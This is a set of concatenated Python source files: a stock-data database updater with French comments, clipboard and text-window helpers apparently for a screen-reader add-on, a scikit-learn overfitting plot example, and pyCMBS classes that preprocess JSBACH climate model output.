toMapSymbolNamesList.append(dbSymbol.symbol.upper()) # Effectue toutes les maj en DB dbWikiRawDataDAO.updateOrAddRawDataList(toUpdateRawDataList, exchange) # Effectue le mapping dbWikiSymbolsDAO.mapOneToOneRelations(toMapSymbolNamesList, exchange) self.logger.warning("Wiki - symbols à problèmes : " + str(issuesSymbolsList)) return @retryLogger(maxRetryNbr=3, sleepTimeIncr=10) def _returnQuandlRawDataDictAndNew(self, dbSymbol, quandlSymbolName, rawDataDAO): ''' Returns the rawData dict of the symbol fetched from Quandl. Indicates also if the rawData is new to the database (1st time fetched). :param dbSymbol: symbol object :type dbSymbol: BaseSymbol :param quandlSymbolName: name of the symbol to fetch from Quandl :type quandlSymbolName: str :param rawDataDAO: data access object to the Quandl database :type rawDataDAO: QuandlRawDataDA :returns: tuple with the raw data dict and a boolean indicating if the data is new to the local database. :rtype: tuple ''' # Booléen pour savoir la data est nouvelle ou non isNew = False # Récupère les meta data metaData = rawDataDAO.returnMetaData(quandlSymbolName) # Initialisation du data frame (si on fait 2 updates sans update du côté # de quandl il sera à None car aucune nouvelle date ne sera récupérée). dataFrame = None # Si le raw data du symbol n'existe pas if dbSymbol.rawData is None: # Récupère l'ensemble des données dataFrame = rawDataDAO.returnDataFrame(quandlSymbolName, metaData['oldest_available_date'], metaData['newest_available_date']) # Il s'agit d'une nouvelle data isNew = True else: # Récupère les données if metaData['oldest_available_date'] < dbSymbol.rawData.oldestDateAvailable: # Effectue un maj complète dataFrame = rawDataDAO.returnDataFrame(quandlSymbolName, metaData['oldest_available_date'], metaData['newest_available_date']) elif dbSymbol.rawData.newestDateAvailable < metaData['newest_available_date']: # Ne récupère que le bout qui manque dataFrame = rawDataDAO.returnDataFrame(quandlSymbolName, dbSymbol.rawData.newestDateAvailable , metaData['newest_available_date']) # Forme le dict du symbol et des raw data rawDataDict = {'symbol' : dbSymbol.symbol.upper(), 'metaData': metaData, 'dataFrame' : dataFrame} return (isNew, rawDataDict) def _updateReferenceRawDataLists(self, dbSymbolsList, exchange): ''' Updates the reference (aggregated) data table in the database. :param dbSymbolsList: list of reference symbol objects :param dbSymbolsList: list :param exchange: name of the exchange :type exchange: str ''' self.logger.info("Référence - début de la maj des raw data") # Liste des objets raw data à update toUpdateRawDataList = [] toMapSymbolNamesList = [] # Liste de symbols à problème issuesSymbolsList = [] # Récupère les DAO des symbols de référence dbReferenceSymbolDAO = DbReferenceSymbolsDA() referenceRawDataDAO = ReferenceRawDataDA() dbReferenceRawDataDAO = DbReferenceRawDataDA() # Parcourt la liste des symbols de référence for refSymbol in dbSymbolsList: self.logger.debug("REFERENCE : " + str(exchange) + "-" + refSymbol.symbol.upper()) try: # Récupère les meta data metaData = referenceRawDataDAO.returnMetaData(refSymbol) # Initilise le dataFrame dataFrame = None # Initialise le raw data du symbol s'il n'existe pas if refSymbol.rawData is None: # Récupère l'ensemble des données dataFrame = referenceRawDataDAO.returnDataFrame(refSymbol, metaData['oldest_available_date'], metaData['newest_available_date']) # Met le symbol dans la liste des symbols à mapper toMapSymbolNamesList.append(refSymbol.symbol.upper()) else: # Récupère les données if metaData['oldest_available_date'] < refSymbol.rawData.oldestDateAvailable: # Effectue un maj complète dataFrame = referenceRawDataDAO.returnDataFrame(refSymbol, metaData['oldest_available_date'], metaData['newest_available_date']) elif refSymbol.rawData.sourceNewestConsolidatedDate < metaData['newest_available_date']: # Ne récupère que le bout qui manque dataFrame = referenceRawDataDAO.returnDataFrame(refSymbol, refSymbol.rawData.sourceNewestConsolidatedDate , metaData['newest_available_date']) # Met ces données dans la liste de données à maj rawDataDict = {'symbol' : refSymbol.symbol.upper(), 'metaData': metaData, 'dataFrame' : dataFrame} toUpdateRawDataList.append(rawDataDict) except Exception as e: # Dans ce cas il y a eu un problème avec ce symbol, # on l'ajoute à la liste des symbols à problème self.logger.error('Erreur', exc_info=True) issuesSymbolsList.append({'Symbol' : refSymbol.symbol.upper(), 'Exchange' : refSymbol.exchange.upper()}) # Effectue la maj de la db dbReferenceRawDataDAO.updateOrAddRawDataList(toUpdateRawDataList, exchange) # Effectuer le mapping dbReferenceSymbolDAO.mapOneToOneRelationsRawData(toMapSymbolNamesList, exchange) self.logger.warning("Référence - symbols à problèmes : " + str(issuesSymbolsList)) return # ---------------- Méthodes utilitaires ----------------------- def _returnEffectiveExchange(self, exchange): ''' Returns a dcit with the effective exchange name for each source. :param exchange: name of the exchange :type exchange: str :returns: dict of effective name ordered by source :rtype: dict .. note:: Dict attribute access: >>> exchangeDict['Google'] >>> exchangeDict['Yahoo'] >>> exchangeDict['Wiki'] ''' exchangeDict = {} exchangeDict['Google'] = exchange.upper() if exchange.upper() in ('NYSE', 'NASDAQ'): exchangeDict['Yahoo'] = 'OTHER' exchangeDict['Wiki'] = 'OTHER' return exchangeDict
import wx import win32clipboard import win32con import gui import treeInterceptorHandler import textInfos import globalVars def getSelectedText(): obj = globalVars.focusObject if isinstance(obj.treeInterceptor, treeInterceptorHandler.DocumentTreeInterceptor) and not obj.treeInterceptor.passThrough: obj = obj.treeInterceptor try: info = obj.makeTextInfo(textInfos.POSITION_SELECTION) except (RuntimeError, NotImplementedError): info = None if not info or info.isCollapsed: return None return info.text def getClipboardText(): try: win32clipboard.OpenClipboard() except win32clipboard.error: return None try: text = win32clipboard.GetClipboardData(win32con.CF_UNICODETEXT) except: text = None finally: win32clipboard.CloseClipboard() return text def setClipboardText(text): if not isinstance(text, unicode) or len(text)==0 or text.isspace(): return False try: win32clipboard.OpenClipboard() except win32clipboard.error: return False try: win32clipboard.EmptyClipboard() win32clipboard.SetClipboardData(win32con.CF_UNICODETEXT, text) success = True except: success = False win32clipboard.CloseClipboard() return success class TextWindow(wx.Frame): def __init__(self, text, title, readOnly=True): super(TextWindow, self).__init__(gui.mainFrame, title=title) sizer = wx.BoxSizer(wx.VERTICAL) style = wx.TE_MULTILINE | wx.TE_RICH if readOnly: style |= wx.TE_READONLY self.outputCtrl = wx.TextCtrl(self, style=style) self.outputCtrl.Bind(wx.EVT_KEY_DOWN, self.onOutputKeyDown) sizer.Add(self.outputCtrl, proportion=1, flag=wx.EXPAND) self.SetSizer(sizer) sizer.Fit(self) self.outputCtrl.SetValue(text) self.outputCtrl.SetFocus() self.Raise() self.Maximize() self.Show() def onOutputKeyDown(self, event): if event.GetKeyCode() == wx.WXK_ESCAPE: self.Close() event.Skip()
import numpy as np import matplotlib.pyplot as plt from sklearn.pipeline import Pipeline from sklearn.preprocessing import PolynomialFeatures from sklearn.linear_model import LinearRegression from sklearn.model_selection import cross_val_score np.random.seed(0) n_samples = 30 degrees = [1, 4, 15] true_fun = lambda X: np.cos(1.5 * np.pi * X) X = np.sort(np.random.rand(n_samples)) y = true_fun(X) + np.random.randn(n_samples) * 0.1 plot_titles = ['Underfit', 'Just right', 'Overfit'] plt.figure(figsize=(14, 5)) for i in range(len(degrees)): ax = plt.subplot(1, len(degrees), i + 1) plt.setp(ax, xticks=(), yticks=()) polynomial_features = PolynomialFeatures(degree=degrees[i], include_bias=False) linear_regression = LinearRegression() pipeline = Pipeline([("polynomial_features", polynomial_features), ("linear_regression", linear_regression)]) pipeline.fit(X[:, np.newaxis], y) # Evaluate the models using crossvalidation scores = cross_val_score(pipeline, X[:, np.newaxis], y, scoring="neg_mean_squared_error", cv=10) X_test = np.linspace(0, 1, 100) plt.plot(X_test, pipeline.predict(X_test[:, np.newaxis]), label="Model") #plt.plot(X_test, true_fun(X_test), label="True function") plt.scatter(X, y, c='k', label="Samples") plt.xlabel("x with degree: {}".format(degrees[i])) plt.ylabel("y") plt.xlim((0, 1)) plt.ylim((-2, 2)) plt.legend(loc="best") plt.title(plot_titles[i]) plt.savefig('images/overfit_underfit.png')
""" This file is part of pyCMBS. (c) 2012- Alexander Loew For COPYING and LICENSE details, please refer to the LICENSE file """ from cdo import Cdo from pycmbs.data import Data import tempfile as tempfile import copy import glob import os import sys import numpy as np from pycmbs.benchmarking import preprocessor from pycmbs.benchmarking.utils import get_T63_landseamask, get_temporary_directory from pycmbs.benchmarking.models.model_basic import * class JSBACH_BOT(Model): def __init__(self, filename, dic_variables, experiment, name='', shift_lon=False, **kwargs): super(JSBACH_BOT, self).__init__(filename, dic_variables, name=name, **kwargs) self.experiment = experiment self.shift_lon = shift_lon self.type = 'JSBACH_BOT' self._unique_name = self._get_unique_name() def _get_unique_name(self): """ get unique name from model and experiment @return: string with unique combination of models and experiment """ return self.name.replace(' ', '') + '-' + self.experiment.replace(' ', '') def get_albedo_data(self, interval='season'): """ get albedo data for JSBACH returns Data object """ if interval != 'season': raise ValueError('Other temporal sampling than SEASON not supported yet for JSBACH BOT files, sorry') v = 'var176' filename = self.data_dir + 'data/model1/' + self.experiment + '_echam6_BOT_mm_1979-2006_albedo_yseasmean.nc' ls_mask = get_T63_landseamask(self.shift_lon) albedo = Data(filename, v, read=True, label='MPI-ESM albedo ' + self.experiment, unit='-', lat_name='lat', lon_name='lon', shift_lon=self.shift_lon, mask=ls_mask.data.data) return albedo def get_tree_fraction(self, interval='season'): """ todo implement this for data from a real run !!! """ if interval != 'season': raise ValueError('Other temporal sampling than SEASON not supported yet for JSBACH BOT files, sorry') ls_mask = get_T63_landseamask(self.shift_lon) filename = '/home/m300028/shared/dev/svn/trstools-0.0.1/lib/python/pyCMBS/framework/external/vegetation_benchmarking/VEGETATION_COVER_BENCHMARKING/example/historical_r1i1p1-LR_1850-2005_forest_shrub.nc' v = 'var12' tree = Data(filename, v, read=True, label='MPI-ESM tree fraction ' + self.experiment, unit='-', lat_name='lat', lon_name='lon', shift_lon=self.shift_lon, mask=ls_mask.data.data, start_time=pl.num2date(pl.datestr2num('2001-01-01')), stop_time=pl.num2date(pl.datestr2num('2001-12-31'))) return tree def get_grass_fraction(self, interval='season'): """ todo implement this for data from a real run !!! """ if interval != 'season': raise ValueError('Other temporal sampling than SEASON not supported yet for JSBACH BOT files, sorry') ls_mask = get_T63_landseamask(self.shift_lon) filename = '/home/m300028/shared/dev/svn/trstools-0.0.1/lib/python/pyCMBS/framework/external/vegetation_benchmarking/VEGETATION_COVER_BENCHMARKING/example/historical_r1i1p1-LR_1850-2005_grass_crop_pasture_2001.nc' v = 'var12' grass = Data(filename, v, read=True, label='MPI-ESM tree fraction ' + self.experiment, unit='-', lat_name='lat', lon_name='lon', #shift_lon=shift_lon, mask=ls_mask.data.data, start_time=pl.num2date(pl.datestr2num('2001-01-01')), stop_time=pl.num2date(pl.datestr2num('2001-12-31')), squeeze=True) return grass def get_surface_shortwave_radiation_down(self, interval='season'): """ get surface shortwave incoming radiation data for JSBACH returns Data object """ if interval != 'season': raise ValueError('Other temporal sampling than SEASON not supported yet for JSBACH BOT files, sorry') v = 'var176' y1 = '1979-01-01' y2 = '2006-12-31' rawfilename = self.data_dir + 'data/model/' + self.experiment + '_echam6_BOT_mm_1979-2006_srads.nc' if not os.path.exists(rawfilename): return None #--- read data cdo = pyCDO(rawfilename, y1, y2) if interval == 'season': seasfile = cdo.seasmean() del cdo print 'seasfile: ', seasfile cdo = pyCDO(seasfile, y1, y2) filename = cdo.yseasmean() else: raise ValueError('Invalid interval option %s ' % interval) #--- read land-sea mask ls_mask = get_T63_landseamask(self.shift_lon) #--- read SIS data sis = Data(filename, v, read=True, label='MPI-ESM SIS ' + self.experiment, unit='-', lat_name='lat', lon_name='lon', #shift_lon=shift_lon, mask=ls_mask.data.data) return sis def get_rainfall_data(self, interval='season'): """ get rainfall data for JSBACH returns Data object """ if interval == 'season': pass else: raise ValueError('Invalid value for interval: %s' % interval) #/// PREPROCESSING: seasonal means /// s_start_time = str(self.start_time)[0:10] s_stop_time = str(self.stop_time)[0:10] filename1 = self.data_dir + self.experiment + '_echam6_BOT_mm_1980_sel.nc' tmp = pyCDO(filename1, s_start_time, s_stop_time).seldate() tmp1 = pyCDO(tmp, s_start_time, s_stop_time).seasmean() filename = pyCDO(tmp1, s_start_time, s_stop_time).yseasmean() #/// READ DATA /// #1) land / sea mask ls_mask = get_T63_landseamask(self.shift_lon) #2) precipitation data try: v = 'var4' rain = Data(filename, v, read=True, scale_factor=86400., label='MPI-ESM ' + self.experiment, unit='mm/day', lat_name='lat', lon_name='lon', shift_lon=self.shift_lon, mask=ls_mask.data.data) except: v = 'var142' rain = Data(filename, v, read=True, scale_factor=86400., label='MPI-ESM ' + self.experiment, unit='mm/day', lat_name='lat', lon_name='lon', shift_lon=self.shift_lon, mask=ls_mask.data.data) return rain class JSBACH_RAW2(Model): """ Class for RAW JSBACH model output works on the real raw output """ #def __init__(self, filename, dic_variables, experiment, name='', shift_lon=False, model_dict=None, input_format='grb', raw_outdata='outdata/jsbach/', **kwargs): def __init__(self, filename, dic_variables, experiment, name='', shift_lon=False, input_format='grb', raw_outdata='outdata/jsbach/', **kwargs): """ The assignment of certain variables to different input streams is done in the routine get_jsbach_data_generic() Parameters ---------- input_format : str specifies file format of input data ['nc','grb'] """ super(JSBACH_RAW2, self).__init__(filename, dic_variables, name=name, **kwargs) self.experiment = experiment self.shift_lon = shift_lon #self.get_data() self.type = 'JSBACH_RAW2' self.input_format = input_format assert self.input_format in ['nc', 'grb'] self.raw_outdata = raw_outdata self._unique_name = self._get_unique_name() # do preprocessing of streams (only needed once!) --- self.files = {} self._preproc_streams() #~ self.model_dict = copy.deepcopy(model_dict) self.model = 'JSBACH' def _get_filenames_jsbach_stream(self): return self.data_dir + self.raw_outdata + self.experiment + '_jsbach_main_mm_*.' + self.input_format def _get_filenames_veg_stream(self): return self.data_dir + self.raw_outdata + self.experiment + '_jsbach_veg_mm_*.' + self.input_format def _get_filenames_land_stream(self): return self.data_dir + self.raw_outdata + self.experiment + '_jsbach_land_mm_*.' + self.input_format def _get_filenames_surf_stream(self): return self.data_dir + self.raw_outdata + self.experiment + '_jsbach_surf_mm_*.' + self.input_format def _get_filenames_albedo_VIS(self): return self.data_dir + self.raw_outdata + self.experiment + '_jsbach_mm_*_VIS_albedo.' + self.input_format def _get_filenames_albedo_NIR(self): return self.data_dir + self.raw_outdata + self.experiment + '_jsbach_mm_*_NIR_albedo.' + self.input_format def _get_filenames_echam_BOT(self): return self.data_dir + self.raw_outdata + '../echam6/' + self.experiment + '_echam6_BOT_mm_*.sz' def _preproc_streams(self): """ It is assumed that the standard JSBACH postprocessing scripts have been applied. Thus monthly mean data is available for each stream and code tables still need to be applied. This routine does the following: 1) merge all times from individual (monthly mean) output files 2) assign codetables to work with proper variable names 3) aggregate data from tiles to gridbox values """ print 'Preprocessing JSBACH raw data streams (may take a while) ...' cdo = Cdo() # jsbach stream print ' JSBACH stream ...' outfile = get_temporary_directory() + self.experiment + '_jsbach_mm_full.nc' if os.path.exists(outfile): pass else: codetable = self.data_dir + 'log/' + self.experiment + '_jsbach.codes' tmp = tempfile.mktemp(suffix='.nc', prefix=self.experiment + '_jsbach_', dir=get_temporary_directory()) # temporary file #~ print self.data_dir #~ print self.raw_outdata #~ print 'Files: ', self._get_filenames_jsbach_stream() #~ stop if len(glob.glob(self._get_filenames_jsbach_stream())) > 0: # check if input files existing at all print 'Mering the following files:', self._get_filenames_jsbach_stream() cdo.mergetime(options='-f nc', output=tmp, input=self._get_filenames_jsbach_stream()) if os.path.exists(codetable): cdo.monmean(options='-f nc', output=outfile, input='-setpartab,' + codetable + ' ' + tmp) # monmean needed here, as otherwise interface does not work else: cdo.monmean(options='-f nc', output=outfile, input=tmp) # monmean needed here, as otherwise interface does not work print 'Outfile: ', outfile #~ os.remove(tmp) print 'Temporary name: ', tmp self.files.update({'jsbach': outfile}) # veg stream print ' VEG stream ...' outfile = get_temporary_directory() + self.experiment + '_jsbach_veg_mm_full.nc' if os.path.exists(outfile): pass else: codetable = self.data_dir + 'log/' + self.experiment + '_jsbach_veg.codes' tmp = tempfile.mktemp(suffix='.nc', prefix=self.experiment + '_jsbach_veg_', dir=get_temporary_directory()) # temporary file if len(glob.glob(self._get_filenames_veg_stream())) > 0: # check if input files existing at all cdo.mergetime(options='-f nc', output=tmp, input=self._get_filenames_veg_stream()) if os.path.exists(codetable): cdo.monmean(options='-f nc', output=outfile, input='-setpartab,' + codetable + ' ' + tmp) # monmean needed here, as otherwise interface does not work else: cdo.monmean(options='-f nc', output=outfile, input=tmp) # monmean needed here, as otherwise interface does not work os.remove(tmp) self.files.update({'veg': outfile}) # veg land print ' LAND stream ...' outfile = get_temporary_directory() + self.experiment + '_jsbach_land_mm_full.nc' if os.path.exists(outfile): pass else: codetable = self.data_dir + 'log/' + self.experiment + '_jsbach_land.codes' tmp = tempfile.mktemp(suffix='.nc', prefix=self.experiment + '_jsbach_land_', dir=get_temporary_directory()) # temporary file if len(glob.glob(self._get_filenames_land_stream())) > 0: # check if input files existing at all cdo.mergetime(options='-f nc', output=tmp, input=self._get_filenames_land_stream()) if os.path.exists(codetable): cdo.monmean(options='-f nc', output=outfile, input='-setpartab,' + codetable + ' ' + tmp) # monmean needed here, as otherwise interface does not work else: cdo.monmean(options='-f nc', output=outfile, input=tmp) # monmean needed here, as otherwise interface does not work os.remove(tmp) self.files.update({'land': outfile}) # surf stream print ' SURF stream ...' outfile = get_temporary_directory() + self.experiment + '_jsbach_surf_mm_full.nc' if os.path.exists(outfile): pass else: codetable = self.data_dir + 'log/' + self.experiment + '_jsbach_surf.codes' tmp = tempfile.mktemp(suffix='.nc', prefix=self.experiment + '_jsbach_surf_', dir=get_temporary_directory()) # temporary file if len(glob.glob(self._get_filenames_surf_stream())) > 0: # check if input files existing at all print glob.glob(self._get_filenames_surf_stream()) cdo.mergetime(options='-f nc', output=tmp, input=self._get_filenames_surf_stream()) if os.path.exists(codetable): cdo.monmean(options='-f nc', output=outfile, input='-setpartab,' + codetable + ' ' + tmp) # monmean needed here, as otherwise interface does not work else: cdo.monmean(options='-f nc', output=outfile, input=tmp) # monmean needed here, as otherwise interface does not work os.remove(tmp) self.files.update({'surf': outfile}) # ECHAM BOT stream print ' BOT stream ...' outfile = get_temporary_directory() + self.experiment + '_echam6_echam_mm_full.nc' if os.path.exists(outfile): pass else: codetable = self.data_dir + 'log/' + self.experiment + '_echam6_echam.codes' tmp = tempfile.mktemp(suffix='.nc', prefix=self.experiment + '_echam6_echam_', dir=get_temporary_directory()) # temporary file if len(glob.glob(self._get_filenames_echam_BOT())) > 0: # check if input files existing at all cdo.mergetime(options='-f nc', output=tmp, input=self._get_filenames_echam_BOT()) if os.path.exists(codetable): cdo.monmean(options='-f nc', output=outfile, input='-setpartab,' + codetable + ' ' + tmp) # monmean needed here, as otherwise interface does not work else: cdo.monmean(options='-f nc', output=outfile, input=tmp) # monmean needed here, as otherwise interface does not work os.remove(tmp) self.files.update({'echam': outfile}) # ALBEDO file # albedo files as preprocessed by a script of Thomas print ' ALBEDO VIS stream ...' outfile = get_temporary_directory() + self.experiment + '_jsbach_VIS_albedo_mm_full.nc' if os.path.exists(outfile): pass else: if len(glob.glob(self._get_filenames_albedo_VIS())) > 0: # check if input files existing at all cdo.mergetime(options='-f nc', output=outfile, input=self._get_filenames_albedo_VIS()) self.files.update({'albedo_vis': outfile}) print ' ALBEDO NIR stream ...' outfile = get_temporary_directory() + self.experiment + '_jsbach_NIR_albedo_mm_full.nc' if os.path.exists(outfile): pass else: if len(glob.glob(self._get_filenames_albedo_NIR())) > 0: # check if input files existing at all cdo.mergetime(options='-f nc', output=outfile, input=self._get_filenames_albedo_NIR()) self.files.update({'albedo_nir': outfile}) def _get_unique_name(self): """ get unique name from model and experiment @return: string with unique combination of models and experiment """ return self.name.replace(' ', '') + '-' + self.experiment.replace(' ', '') def get_albedo_data(self, interval='season'): """ calculate albedo as ratio of upward and downwelling fluxes first the monthly mean fluxes are used to calculate the albedo, This routine uses the definitions of the routines how to read upward and downward fluxes """ if self.start_time is None: raise ValueError('Start time needs to be specified') if self.stop_time is None: raise ValueError('Stop time needs to be specified') #~ tmpdict = copy.deepcopy(kwargs) #~ print self.dic_vars routine_up = self.dic_vars['surface_upward_flux'] routine_down = self.dic_vars['sis'] #sw_down = self.get_surface_shortwave_radiation_down(interval=interval, **kwargs) cmd = 'sw_down = self.' + routine_down exec(cmd) #sw_up = self.get_surface_shortwave_radiation_up(interval=interval, **kwargs) cmd = 'sw_up = self.' + routine_up exec(cmd) # climatological mean alb = sw_up[0].div(sw_down[0]) alb.label = self.experiment + ' albedo' alb.unit = '-' # original data alb_org = sw_up[1][2].div(sw_down[1][2]) alb_org.label = self.experiment + ' albedo' alb_org.unit = '-' retval = (alb_org.time, alb_org.fldmean(), alb_org) return alb, retval def get_albedo_data_vis(self, interval='season', **kwargs): """ This routine retrieves the JSBACH albedo information for VIS it requires a preprocessing with a script that aggregates from tile to box values! Parameters ---------- interval : str ['season','monthly'] """ #~ tmpdict = copy.deepcopy(self.model_dict['albedo_vis']) return self.get_jsbach_data_generic(interval=interval, **kwargs) def get_albedo_data_nir(self, interval='season', **kwargs): """ This routine retrieves the JSBACH albedo information for VIS it requires a preprocessing with a script that aggregates from tile to box values! Parameters ---------- interval : str ['season','monthly'] """ #~ tmpdict = copy.deepcopy(self.model_dict['albedo_nir']) return self.get_jsbach_data_generic(interval=interval, **kwargs) def get_surface_shortwave_radiation_up(self, interval='season', **kwargs): return self.get_jsbach_data_generic(interval=interval, **kwargs) def get_surface_shortwave_radiation_down(self, interval='season', **kwargs): return self.get_jsbach_data_generic(interval=interval, **kwargs) def get_rainfall_data(self, interval='season', **kwargs): return self.get_jsbach_data_generic(interval=interval, **kwargs) def get_temperature_2m(self, interval='season', **kwargs): return self.get_jsbach_data_generic(interval=interval, **kwargs) def get_jsbach_data_generic(self, interval='season', **kwargs): """ unique parameters are: filename - file basename variable - name of the variable as the short_name in the netcdf file kwargs is a dictionary with keys for each model. Then a dictionary with properties follows """ if not self.type in kwargs.keys(): print 'WARNING: it is not possible to get data using generic function, as method missing: ', self.type, kwargs.keys() return None print self.type print kwargs locdict = kwargs[self.type] # read settings and details from the keyword arguments # no defaults; everything should be explicitely specified in either the config file or the dictionaries varname = locdict.pop('variable') units = locdict.pop('unit', 'Unit not specified') lat_name = locdict.pop('lat_name', 'lat') lon_name = locdict.pop('lon_name', 'lon') #model_suffix = locdict.pop('model_suffix') #model_prefix = locdict.pop('model_prefix') file_format = locdict.pop('file_format') scf = locdict.pop('scale_factor') valid_mask = locdict.pop('valid_mask') custom_path = locdict.pop('custom_path', None) thelevel = locdict.pop('level', None) target_grid = self._actplot_options['targetgrid'] interpolation = self._actplot_options['interpolation'] if self.type != 'JSBACH_RAW2': print self.type raise ValueError('Invalid data format here!') # define from which stream of JSBACH data needs to be taken for specific variables if varname in ['swdown_acc', 'swdown_reflect_acc']: filename1 = self.files['jsbach'] elif varname in ['precip_acc']: filename1 = self.files['land'] elif varname in ['temp2']: filename1 = self.files['echam'] elif varname in ['var14']: # albedo vis filename1 = self.files['albedo_vis'] elif varname in ['var15']: # albedo NIR filename1 = self.files['albedo_nir'] else: print varname raise ValueError('Unknown variable type for JSBACH_RAW2 processing!') force_calc = False if self.start_time is None: raise ValueError('Start time needs to be specified') if self.stop_time is None: raise ValueError('Stop time needs to be specified') #/// PREPROCESSING /// cdo = Cdo() s_start_time = str(self.start_time)[0:10] s_stop_time = str(self.stop_time)[0:10] #1) select timeperiod and generate monthly mean file if target_grid == 't63grid': gridtok = 'T63' else: gridtok = 'SPECIAL_GRID' file_monthly = filename1[:-3] + '_' + s_start_time + '_' + s_stop_time + '_' + gridtok + '_monmean.nc' # target filename file_monthly = get_temporary_directory() + os.path.basename(file_monthly) sys.stdout.write('\n *** Model file monthly: %s\n' % file_monthly) if not os.path.exists(filename1): print 'WARNING: File not existing: ' + filename1 return None cdo.monmean(options='-f nc', output=file_monthly, input='-' + interpolation + ',' + target_grid + ' -seldate,' + s_start_time + ',' + s_stop_time + ' ' + filename1, force=force_calc) sys.stdout.write('\n *** Reading model data... \n') sys.stdout.write(' Interval: ' + interval + '\n') #2) calculate monthly or seasonal climatology if interval == 'monthly': mdata_clim_file = file_monthly[:-3] + '_ymonmean.nc' mdata_sum_file = file_monthly[:-3] + '_ymonsum.nc' mdata_N_file = file_monthly[:-3] + '_ymonN.nc' mdata_clim_std_file = file_monthly[:-3] + '_ymonstd.nc' cdo.ymonmean(options='-f nc -b 32', output=mdata_clim_file, input=file_monthly, force=force_calc) cdo.ymonsum(options='-f nc -b 32', output=mdata_sum_file, input=file_monthly, force=force_calc) cdo.ymonstd(options='-f nc -b 32', output=mdata_clim_std_file, input=file_monthly, force=force_calc) cdo.div(options='-f nc', output=mdata_N_file, input=mdata_sum_file + ' ' + mdata_clim_file, force=force_calc) # number of samples elif interval == 'season': mdata_clim_file = file_monthly[:-3] + '_yseasmean.nc' mdata_sum_file = file_monthly[:-3] + '_yseassum.nc' mdata_N_file = file_monthly[:-3] + '_yseasN.nc' mdata_clim_std_file = file_monthly[:-3] + '_yseasstd.nc' cdo.yseasmean(options='-f nc -b 32', output=mdata_clim_file, input=file_monthly, force=force_calc) cdo.yseassum(options='-f nc -b 32', output=mdata_sum_file, input=file_monthly, force=force_calc) cdo.yseasstd(options='-f nc -b 32', output=mdata_clim_std_file, input=file_monthly, force=force_calc) cdo.div(options='-f nc -b 32', output=mdata_N_file, input=mdata_sum_file + ' ' + mdata_clim_file, force=force_calc) # number of samples else: raise ValueError('Unknown temporal interval. Can not perform preprocessing! ') if not os.path.exists(mdata_clim_file): return None #3) read data if interval == 'monthly': thetime_cylce = 12 elif interval == 'season': thetime_cylce = 4 else: print interval raise ValueError('Unsupported interval!') mdata = Data(mdata_clim_file, varname, read=True, label=self.model, unit=units, lat_name=lat_name, lon_name=lon_name, shift_lon=False, scale_factor=scf, level=thelevel, time_cycle=thetime_cylce) mdata_std = Data(mdata_clim_std_file, varname, read=True, label=self.model + ' std', unit='-', lat_name=lat_name, lon_name=lon_name, shift_lon=False, level=thelevel, time_cycle=thetime_cylce) mdata.std = mdata_std.data.copy() del mdata_std mdata_N = Data(mdata_N_file, varname, read=True, label=self.model + ' std', unit='-', lat_name=lat_name, lon_name=lon_name, shift_lon=False, scale_factor=scf, level=thelevel) mdata.n = mdata_N.data.copy() del mdata_N #ensure that climatology always starts with J anuary, therefore set date and then sort mdata.adjust_time(year=1700, day=15) # set arbitrary time for climatology mdata.timsort() #4) read monthly data mdata_all = Data(file_monthly, varname, read=True, label=self.model, unit=units, lat_name=lat_name, lon_name=lon_name, shift_lon=False, time_cycle=12, scale_factor=scf, level=thelevel) mdata_all.adjust_time(day=15) if target_grid == 't63grid': mdata._apply_mask(get_T63_landseamask(False, area=valid_mask)) mdata_all._apply_mask(get_T63_landseamask(False, area=valid_mask)) else: tmpmsk = get_generic_landseamask(False, area=valid_mask, target_grid=target_grid) mdata._apply_mask(tmpmsk) mdata_all._apply_mask(tmpmsk) del tmpmsk mdata_mean = mdata_all.fldmean() # return data as a tuple list retval = (mdata_all.time, mdata_mean, mdata_all) del mdata_all return mdata, retval class JSBACH_SPECIAL(JSBACH_RAW2): """ special class for more flexible reading of JSBACH input data it allows to specify the input format and the directory of the input data in case that you use a different setup, it is probably easiest to just copy this class and make the required adaptations. """ def __init__(self, filename, dic_variables, experiment, name='', shift_lon=False, model_dict=None, input_format='nc', raw_outdata='', **kwargs): super(JSBACH_SPECIAL, self).__init__(filename, dic_variables, experiment, name=name, shift_lon=shift_lon, model_dict=model_dict, input_format=input_format, raw_outdata=raw_outdata, **kwargs) class xxxxxxxxJSBACH_RAW(Model): """ Class for RAW JSBACH model output works on manually preprocessed already concatenated data """ def __init__(self, filename, dic_variables, experiment, name='', shift_lon=False, intervals='monthly', **kwargs): super(JSBACH_RAW, self).__init__(filename, dic_variables, name=name, intervals=intervals, **kwargs) print('WARNING: This model class should be depreciated as it contained a lot of hardcoded dependencies and is only intermediate') #TODO: depreciate this class stop self.experiment = experiment self.shift_lon = shift_lon self.type = 'JSBACH_RAW' self._unique_name = self._get_unique_name() def _get_unique_name(self): """ get unique name from model and experiment """ return self.name.replace(' ', '') + '-' + self.experiment.replace(' ', '') def get_temperature_2m(self, interval='monthly', **kwargs): """ get surface temperature (2m) from JSBACH model results Parameters ---------- interval : str specifies the aggregation interval. Possible options: ['season','monthly'] """ locdict = kwargs[self.type] y1 = '1980-01-01' # TODO move this to the JSON dictionary or some parameter file y2 = '2010-12-31' variable = 'temp2' rawfile = self.data_dir + self.experiment + '_echam6_echam_' + variable + '_ALL.nc' files = glob.glob(rawfile) if len(files) != 1: print 'Inputfiles: ', files raise ValueError('Something went wrong: Invalid number of input files!') else: rawfile = files[0] mdata, retval = self._do_preprocessing(rawfile, variable, y1, y2, interval=interval, valid_mask=locdict['valid_mask']) return mdata, retval def get_albedo_data(self, interval='monthly', **kwargs): """ calculate albedo as ratio of upward and downwelling fluxes first the monthly mean fluxes are used to calculate the albedo, """ # read land-sea mask ls_mask = get_T63_landseamask(self.shift_lon) # TODO make this more flexible if self.start_time is None: raise ValueError('Start time needs to be specified') if self.stop_time is None: raise ValueError('Stop time needs to be specified') Fd = self.get_surface_shortwave_radiation_down(**kwargs) Fu = self.get_surface_shortwave_radiation_up(**kwargs) if Fu is None: print 'File not existing for UPWARD flux!: ', self.name return None else: Fu_i = Fu[0] if Fu_i is None: return None if Fd is None: print 'File not existing for DOWNWARD flux!: ', self.name return None else: Fd_i = Fd[0] if Fd_i is None: return None lab = Fu_i.label # albedo for chosen interval as caluclated as ratio of means of fluxes in that interval (e.g. season, months) Fu_i.div(Fd_i, copy=False) del Fd_i # Fu contains now the albedo Fu_i._apply_mask(ls_mask.data) #albedo for monthly data (needed for global mean plots ) Fu_m = Fu[1][2] del Fu Fd_m = Fd[1][2] del Fd Fu_m.div(Fd_m, copy=False) del Fd_m Fu_m._apply_mask(ls_mask.data) 